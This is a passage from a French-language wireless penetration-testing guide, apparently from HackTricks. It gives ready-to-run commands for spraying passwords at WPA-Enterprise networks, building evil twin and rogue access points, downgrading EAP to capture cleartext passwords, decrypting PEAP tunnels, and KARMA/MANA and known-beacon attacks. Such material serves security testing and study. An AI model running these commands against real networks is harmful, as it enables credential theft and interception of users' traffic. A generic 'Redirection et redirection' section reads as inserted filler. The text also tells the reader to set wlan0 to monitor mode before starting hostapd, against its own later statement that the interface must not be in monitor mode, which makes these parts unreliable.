Si le client est censé utiliser un nom d'utilisateur et un mot de passe (remarquez que EAP-TLS ne sera pas valide dans ce cas), vous pouvez essayer d'obtenir une liste de noms d'utilisateurs (voir la partie suivante) et de mots de passe et essayer de forcer l'accès en utilisant air-hammer.
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Vous pouvez également effectuer cette attaque en utilisant eaphammer
:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Théorie des attaques client
Sélection de réseau et itinérance
Bien que le protocole 802.11 ait des règles très spécifiques qui dictent comment une station peut rejoindre un ESS, il ne spécifie pas comment la station doit sélectionner un ESS auquel se connecter. De plus, le protocole permet aux stations de se déplacer librement entre les points d'accès qui partagent le même ESSID (car vous ne voudriez pas perdre la connectivité WiFi en vous déplaçant d'une extrémité d'un bâtiment à une autre, etc.). Cependant, le protocole 802.11 ne spécifie pas comment ces points d'accès doivent être sélectionnés. De plus, même si les stations doivent être authentifiées à l'ESS pour s'associer à un point d'accès, le protocole 802.11 ne nécessite pas que le point d'accès soit authentifié à la station.
Listes de réseaux préférés (PNL)
Chaque fois qu'une station se connecte à un réseau sans fil, l'ESSID du réseau est stocké dans la liste de réseaux préférés (PNL) de la station. La PNL est une liste ordonnée de tous les réseaux auxquels la station s'est connectée dans le passé, et chaque entrée de la PNL contient l'ESSID du réseau et toutes les informations de configuration spécifiques au réseau nécessaires pour établir une connexion.
Balayage passif
Dans les réseaux d'infrastructure, les points d'accès émettent périodiquement des trames de balise pour annoncer leur présence et leurs capacités aux stations à proximité. Les balises sont des trames diffusées, ce qui signifie qu'elles sont destinées à être reçues par toutes les stations à proximité dans la portée. Les balises contiennent des informations sur les taux pris en charge par le PA, les capacités de chiffrement, des informations supplémentaires et surtout, les trames de balise contiennent l'ESSID du PA (tant que la diffusion de l'ESSID n'est pas désactivée).
Lors du balayage passif, le périphérique client écoute les trames de balise des points d'accès à proximité. Si le périphérique client reçoit une trame de balise dont le champ ESSID correspond à un ESSID de la PNL du client, le client se connectera automatiquement au point d'accès qui a envoyé la trame de balise. Ensuite, supposons que nous voulions cibler un périphérique sans fil qui n'est actuellement connecté à aucun réseau sans fil. Si nous connaissons au moins une entrée dans la PNL de ce client, nous pouvons forcer le client à se connecter à nous simplement en créant notre propre point d'accès avec l'ESSID de cette entrée.
Interrogation active
Le deuxième algorithme de sélection de réseau utilisé dans le 802.11 est appelé Interrogation active. Les périphériques clients qui utilisent l'interrogation active émettent en continu des trames de demande d'interrogation pour déterminer quels PA sont à portée, ainsi que leurs capacités. Les demandes d'interrogation se présentent sous deux formes : dirigées et diffusées. Les demandes d'interrogation dirigées sont adressées à un ESSID spécifique et permettent au client de vérifier si un réseau spécifique est à proximité.
Les clients qui utilisent l'interrogation dirigée enverront des demandes d'interrogation pour chaque réseau de leur PNL. Il convient de noter que l'interrogation dirigée est le seul moyen d'identifier la présence de réseaux cachés à proximité. Les demandes d'interrogation diffusées fonctionnent presque exactement de la même manière, mais sont envoyées avec le champ SSID défini sur NULL. Cela adresse la demande d'interrogation diffusée à tous les points d'accès à proximité, permettant à la station de vérifier si l'un de ses réseaux préférés est à proximité sans révéler le contenu de sa PNL.
Simple point d'accès avec redirection vers Internet
Avant d'expliquer comment effectuer des attaques plus complexes, il va être expliqué comment simplement créer un point d'accès et rediriger son trafic vers une interface connectée à Internet.
Utilisez ifconfig -a
pour vérifier que l'interface wlan pour créer le point d'accès et l'interface connectée à Internet sont présentes.
DHCP et DNS
apt-get install dnsmasq #Manages DHCP and DNS
Créez un fichier de configuration /etc/dnsmasq.conf comme suit :
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Ensuite, configurez les adresses IP et les routes :
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
Et ensuite, démarrer dnsmasq :
dnsmasq -C dnsmasq.conf -d
hostapd
hostapd est un démon de point d'accès sans fil (AP) qui implémente le protocole de gestion de réseau sans fil IEEE 802.11. Il peut être utilisé pour créer un point d'accès sans fil à partir d'une carte réseau sans fil compatible, permettant ainsi aux appareils clients de se connecter et de communiquer via le réseau sans fil. hostapd prend en charge diverses fonctionnalités de sécurité, telles que le chiffrement WPA/WPA2, l'authentification RADIUS et la gestion des clés. Il peut également être utilisé pour effectuer des tests de pénétration sur des réseaux sans fil en simulant un point d'accès sécurisé et en analysant les tentatives d'authentification et les échanges de données.
apt-get install hostapd
Créez un fichier de configuration hostapd.conf :
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
Arrêtez les processus gênants, activez le mode monitor, et démarrez hostapd :
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Redirection et redirection
La redirection est une technique couramment utilisée lors des tests de pénétration pour rediriger le trafic réseau vers des cibles spécifiques. Cela peut être utile pour contourner les pare-feu, tromper les utilisateurs ou accéder à des ressources restreintes.
Redirection de port
La redirection de port consiste à rediriger le trafic d'un port spécifique vers un autre port sur une machine cible. Cela peut être utilisé pour contourner les pare-feu qui bloquent certains ports ou pour rediriger le trafic vers un service spécifique sur une machine cible.
La redirection de port peut être réalisée à l'aide d'outils tels que iptables
sur Linux ou netsh
sur Windows. Par exemple, la commande suivante redirige le trafic entrant sur le port 80 vers le port 8080 :
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
Redirection de domaine
La redirection de domaine consiste à rediriger le trafic d'un domaine spécifique vers un autre domaine ou une autre adresse IP. Cela peut être utilisé pour tromper les utilisateurs en les redirigeant vers des sites Web malveillants ou pour contourner les filtres de contenu.
La redirection de domaine peut être réalisée en modifiant les enregistrements DNS du domaine cible ou en utilisant des services de redirection de domaine tiers. Par exemple, en modifiant l'enregistrement DNS d'un domaine pour qu'il pointe vers une adresse IP différente, tout le trafic destiné à ce domaine sera redirigé vers la nouvelle adresse IP.
Redirection de trafic
La redirection de trafic consiste à rediriger tout le trafic réseau d'une machine vers une autre machine. Cela peut être utilisé pour intercepter le trafic réseau et l'analyser à des fins de surveillance ou de collecte d'informations.
La redirection de trafic peut être réalisée en utilisant des outils tels que arpspoof
ou ettercap
. Ces outils permettent de rediriger le trafic réseau en falsifiant les tables ARP ou en utilisant des techniques de détournement de session.
Conclusion
La redirection et la redirection sont des techniques puissantes utilisées lors des tests de pénétration pour contourner les restrictions de sécurité, tromper les utilisateurs ou intercepter le trafic réseau. Il est important de les utiliser de manière responsable et éthique, en respectant les lois et les politiques applicables.
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
Une attaque de faux jumeau est un type d'attaque Wi-Fi qui exploite le fait que la plupart des ordinateurs et des téléphones ne voient que le "nom" ou l'ESSID d'un réseau sans fil (car la station de base n'est pas tenue de s'authentifier auprès du client). Cela rend en réalité très difficile la distinction entre les réseaux portant le même nom et utilisant le même type de chiffrement. En fait, de nombreux réseaux auront plusieurs points d'accès étendant le réseau, tous utilisant le même nom pour étendre l'accès sans perturber les utilisateurs.
En raison du fonctionnement des clients (rappelez-vous que le protocole 802.11 permet aux stations de se déplacer librement entre les points d'accès au sein du même ESS), il est possible de faire en sorte qu'un appareil change de station de base à laquelle il est connecté. Cela peut être réalisé en offrant un meilleur signal (ce qui n'est pas toujours possible) ou en bloquant l'accès à la station de base d'origine (paquets de déauthentification, brouillage ou toute autre forme d'attaque de déni de service).
Notez également que les déploiements sans fil dans le monde réel ont généralement plus d'un seul point d'accès, et ces points d'accès sont souvent plus puissants et ont une meilleure portée en ligne de mire en raison de leur placement vers le plafond. La déauthentification d'un seul point d'accès entraîne généralement le passage de la cible vers un autre point d'accès valide plutôt que vers votre AP malveillant, à moins que tous les points d'accès à proximité ne soient déauthentifiés (bruyant) ou que vous fassiez très attention à l'emplacement de l'AP malveillant (difficile).
Vous pouvez créer un faux jumeau ouvert très basique (sans possibilité de router le trafic vers Internet) en faisant :
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Vous pouvez également créer un Evil Twin en utilisant eaphammer (notez que pour créer des evil twins avec eaphammer, l'interface NE DOIT PAS être en mode monitor):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Ou en utilisant Airgeddon: Options: 5,6,7,8,9 (dans le menu de l'attaque Evil Twin).
Veuillez noter que par défaut, si un ESSID dans la PNL est enregistré comme protégé par WPA, l'appareil ne se connectera pas automatiquement à un Open evil Twin. Vous pouvez essayer de DoS le véritable AP et espérer que l'utilisateur se connecte manuellement à votre Open evil twin, ou vous pouvez DoS le véritable AP et utiliser un WPA Evil Twin pour capturer le handshake (avec cette méthode, vous ne pourrez pas laisser la victime se connecter à vous car vous ne connaissez pas la PSK, mais vous pouvez capturer le handshake et essayer de le casser).
Certains systèmes d'exploitation et antivirus avertiront l'utilisateur que se connecter à un réseau ouvert est dangereux...
WPA/WPA2 Evil Twin
Vous pouvez créer un Evil Twin utilisant WPA/2 et si les appareils sont configurés pour se connecter à cet SSID avec WPA/2, ils vont essayer de se connecter. Cependant, pour compléter le 4-way-handshake, vous devez également connaître le mot de passe que le client va utiliser. Si vous ne le connaissez pas, la connexion ne sera pas complétée.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Evil Twin d'entreprise
Pour comprendre ces attaques, je recommande de lire d'abord l'explication brève sur WPA Enterprise.
Utilisation de hostapd-wpe
hostapd-wpe
a besoin d'un fichier de configuration pour fonctionner. Pour automatiser la génération de ces configurations, vous pouvez utiliser https://github.com/WJDigby/apd_launchpad (téléchargez le fichier python à l'intérieur de /etc/hostapd-wpe/).
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
Dans le fichier de configuration, vous pouvez sélectionner plusieurs éléments différents tels que le ssid, le canal, les fichiers utilisateur, les clés secrètes, les paramètres dh, la version wpa et l'authentification...
Utilisation de hostapd-wpe avec EAP-TLS pour permettre à n'importe quel certificat de se connecter.
Utilisation d'EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
Par défaut, EAPHammer propose ces méthodes d'authentification (remarquez que GTC est le premier à essayer d'obtenir les mots de passe en texte clair, puis l'utilisation de méthodes d'authentification plus robustes) :
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Voici la méthodologie par défaut pour éviter les longs temps de connexion. Cependant, vous pouvez également spécifier au serveur les méthodes d'authentification du plus faible au plus fort :
--negotiate weakest
Ou vous pouvez également utiliser:
--negotiate gtc-downgrade
pour utiliser une implémentation de rétrogradation GTC hautement efficace (mots de passe en texte clair)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
pour spécifier manuellement les méthodes proposées (en offrant les mêmes méthodes d'authentification dans le même ordre que l'organisation, il sera beaucoup plus difficile de détecter l'attaque).- Trouvez plus d'informations dans le wiki
Utilisation d'Airgeddon
Airgeddon
peut utiliser des certificats préalablement générés pour offrir une authentification EAP aux réseaux WPA/WPA2-Enterprise. Le faux réseau rétrograde le protocole de connexion vers EAP-MD5 afin de pouvoir capturer l'utilisateur et le MD5 du mot de passe. Plus tard, l'attaquant peut essayer de craquer le mot de passe.
Airggedon
vous offre la possibilité d'une attaque Evil Twin continue (bruyante) ou de créer uniquement l'attaque Evil jusqu'à ce que quelqu'un se connecte (discrète).
Débogage des tunnels TLS PEAP et EAP-TTLS dans les attaques Evil Twins
Cette méthode a été testée dans une connexion PEAP mais comme je déchiffre un tunnel TLS arbitraire, cela devrait également fonctionner avec EAP-TTLS.
Dans la configuration de hostapd-wpe, commentez la ligne qui contient dh_file (de dh_file=/etc/hostapd-wpe/certs/dh
à #dh_file=/etc/hostapd-wpe/certs/dh
)
Cela permettra à hostapd-wpe
d'échanger des clés en utilisant RSA au lieu de DH, vous pourrez donc déchiffrer le trafic plus tard en connaissant la clé privée du serveur.
Maintenant, lancez l'Evil Twin en utilisant hostapd-wpe
avec cette configuration modifiée comme d'habitude. Démarrez également wireshark
sur l'interface qui effectue l'attaque Evil Twin.
Maintenant ou plus tard (lorsque vous avez déjà capturé certaines tentatives d'authentification), vous pouvez ajouter la clé privée RSA à wireshark dans: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Ajoutez une nouvelle entrée et remplissez le formulaire avec ces valeurs: Adresse IP = any -- Port = 0 -- Protocole = data -- Fichier clé (sélectionnez votre fichier clé, pour éviter les problèmes, sélectionnez un fichier clé non protégé par mot de passe).
Et regardez l'onglet "Decrypted TLS":
Attaque KARMA, MANA, Loud MANA et beacons connus
Listes noires/blanches ESSID et MAC
Le tableau suivant répertorie les différents types de MFACLs (Listes de contrôle d'accès aux trames de gestion) disponibles, ainsi que leurs effets lorsqu'ils sont utilisés:
# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
apples
oranges
grapes
pears
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Les attaques Karma sont une deuxième forme d'attaque de point d'accès frauduleux qui exploite le processus de sélection de réseau utilisé par les stations. Dans un document technique rédigé en 2005, Dino Dai Zovi et Shane Macaulay décrivent comment un attaquant peut configurer un point d'accès pour écouter les demandes de sondage dirigées et y répondre avec des réponses de sondage dirigées correspondantes. Cela fait que les stations concernées envoient automatiquement une demande d'association au point d'accès de l'attaquant. Le point d'accès répond ensuite avec une réponse d'association, ce qui amène les stations concernées à se connecter à l'attaquant.
MANA
Selon Ian de Villiers et Dominic White, les stations modernes sont conçues pour se protéger contre les attaques Karma en ignorant les réponses de sondage dirigées provenant de points d'accès qui n'ont pas déjà répondu à au moins une demande de sondage diffusée. Cela a entraîné une baisse significative du nombre de stations vulnérables aux attaques Karma jusqu'en 2015, lorsque White et de Villiers ont mis au point un moyen de contourner de telles protections. Dans l'attaque Karma améliorée de White et de Villiers (attaque MANA), les réponses de sondage dirigées sont utilisées pour reconstruire les PNL (Preferred Network Lists) des stations voisines. Lorsqu'une demande de sondage diffusée est reçue d'une station, le point d'accès de l'attaquant répond avec un SSID arbitraire provenant de la PNL de la station déjà vu dans une demande de sondage directe provenant de ce périphérique.
En résumé, l'algorithme MANA fonctionne comme suit : chaque fois que le point d'accès reçoit une demande de sondage, il détermine d'abord s'il s'agit d'un sondage diffusé ou dirigé. S'il s'agit d'un sondage dirigé, l'adresse MAC de l'expéditeur est ajoutée à la table de hachage (si elle n'est pas déjà présente) et l'ESSID est ajouté à la PNL de ce périphérique. Le point d'accès répond ensuite avec une réponse de sondage dirigée. S'il s'agit d'un sondage diffusé, le point d'accès répond avec des réponses de sondage pour chacun des réseaux présents dans la PNL de ce périphérique.
Attaque MANA utilisant eaphammer :
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Attaque Loud MANA
Remarquez que l'attaque MANA standard ne nous permet toujours pas d'attaquer les appareils qui n'utilisent pas du tout de sondage dirigé. Donc, si nous ne connaissons pas non plus à l'avance une entrée dans le PNL de l'appareil, nous devons trouver un autre moyen de l'attaquer.
Une possibilité est ce qu'on appelle l'attaque Loud MANA. Cette attaque repose sur l'idée que les appareils clients à proximité physique les uns des autres ont probablement au moins quelques entrées communes dans leurs PNL.
En résumé, l'attaque Loud MANA, au lieu de répondre aux demandes de sondage avec chaque ESSID dans le PNL d'un appareil particulier, l'AP malveillant envoie des réponses de sondage pour chaque ESSID dans chaque PNL de tous les appareils qu'il a déjà rencontrés. En relation avec la théorie des ensembles, nous pouvons dire que l'AP envoie des réponses de sondage pour chaque ESSID dans l'union de tous les PNL des appareils à proximité.
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Attaque Beacon connue
Il existe encore des cas où l'attaque Loud MANA ne réussit pas.
L'attaque Beacon connue est une méthode de "Brute-Force" des ESSIDs pour essayer de faire en sorte que la victime se connecte à l'attaquant. L'attaquant crée un point d'accès qui répond à n'importe quel ESSID et exécute du code en envoyant des balises en falsifiant les ESSIDs de chaque nom figurant dans une liste de mots. Avec un peu de chance, la victime contiendra certains de ces noms d'ESSID dans sa liste de réseaux préférés (PNL) et essaiera de se connecter au faux point d'accès.
Eaphammer a mis en œuvre cette attaque en tant qu'attaque MANA où tous les ESSIDs de la liste sont chargés (vous pouvez également combiner cela avec --loud
pour créer une attaque Loud MANA + Beacons connus) :
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Attaque Beacon Burst connue
Comme les beacons connus sont bruyants. Vous pouvez utiliser un script à l'intérieur du projet Eaphammer pour simplement lancer des beacons pour chaque nom ESSID contenu dans un fichier très rapidement. Si vous combinez ce script avec une attaque MANA Eaphammer, les clients pourront se connecter à votre point d'accès (AP).
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct est une norme Wi-Fi qui permet aux appareils de se connecter les uns aux autres sans point d'accès sans fil, car l'un des deux appareils agira en tant que point d'accès (appelé propriétaire du groupe). Vous pouvez trouver Wi-Fi Direct dans de nombreux appareils IoT tels que les imprimantes, les téléviseurs...
Wi-Fi Direct s'appuie sur Wi-Fi Protected Setup (WPS) pour connecter les appareils de manière sécurisée. WPS dispose de plusieurs méthodes de configuration telles que la configuration par bouton-poussoir (PBC), la saisie du code PIN et la communication en champ proche (NFC).
Ainsi, les attaques précédemment observées sur le code PIN WPS sont également valables ici si le code PIN est utilisé.
Piratage EvilDirect
Cela fonctionne comme un Evil-Twin mais pour Wi-Fi Direct, vous pouvez vous faire passer pour un propriétaire de groupe afin de tenter de faire connecter d'autres appareils comme des téléphones à vous : airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0
Références
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
TODO: Jetez un coup d'œil à https://github.com/wifiphisher/wifiphisher (connexion avec Facebook et imitation de WPA sur les portails captifs)
HackenProof est la plateforme des primes pour les bugs de cryptographie.
Obtenez des récompenses sans délai
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bogue.
Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bogue vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? Ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.